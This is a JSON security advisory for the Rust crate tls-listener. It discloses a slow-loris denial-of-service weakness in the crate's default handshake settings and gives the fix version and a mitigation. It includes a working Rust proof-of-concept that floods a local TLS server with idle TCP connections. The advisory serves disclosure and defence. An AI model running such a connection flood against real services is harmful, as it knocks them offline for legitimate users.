{"id":"GHSA-2qph-qpvm-2qf7","summary":"tls-listener affected by the slow loris vulnerability with default configuration","details":"### Summary\nWith the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.\n\n### Details\nThe default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.\n\n```rust\n/// Default number of concurrent handshakes\npub const DEFAULT_MAX_HANDSHAKES: usize = 64;\n/// Default timeout for the TLS handshake.\npub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);\n```\n\n### PoC\n\nRunning the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.\n\n```rust\nuse std::{net::ToSocketAddrs, time::Duration};\nuse tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};\n\n#[tokio::main]\nasync fn main() {\n    const N: usize = 1024;\n    const T: Duration = Duration::from_secs(10);\n\n    let url = \"127.0.0.1:3000\";\n    let sockets: Vec\u003c_\u003e = url\n        .to_socket_addrs()\n        .unwrap()\n        .inspect(|s| println!(\"{s:?}\"))\n        .collect();\n\n    let mut js = JoinSet::new();\n\n    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));\n    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);\n    for _ in 0..10000 {\n        for &socket in &sockets {\n            int.tick().await;\n            js.spawn(async move {\n                let mut stream = TcpStream::connect(socket).await.unwrap();\n                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;\n            });\n        }\n    }\n\n    while js.join_next().await.is_some() {}\n}\n\n```\n\n### Impact\n\nThis is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener`\n\n\n### Mitigation\n\nPrevious versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.","aliases":["CVE-2024-28854","RUSTSEC-2024-0341"],"modified":"2026-09-10T03:50:00.245355007Z","published":"2024-03-15T19:57:22Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-03-15T19:57:22Z","nvd_published_at":"2024-03-15T19:15:07Z","cwe_ids":["CWE-400"]},"references":[{"type":"WEB","url":"https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28854"},{"type":"WEB","url":"https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4"},{"type":"WEB","url":"https://en.wikipedia.org/wiki/Slowloris_(computer_security)"},{"type":"PACKAGE","url":"https://github.com/tmccombs/tls-listener"},{"type":"WEB","url":"https://github.com/tmccombs/tls-listener/releases/tag/v0.10.0"},{"type":"WEB","url":"https://rustsec.org/advisories/RUSTSEC-2024-0341.html"}],"affected":[{"package":{"name":"tls-listener","ecosystem":"crates.io","purl":"pkg:cargo/tls-listener"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.10.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.9.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-2qph-qpvm-2qf7/GHSA-2qph-qpvm-2qf7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}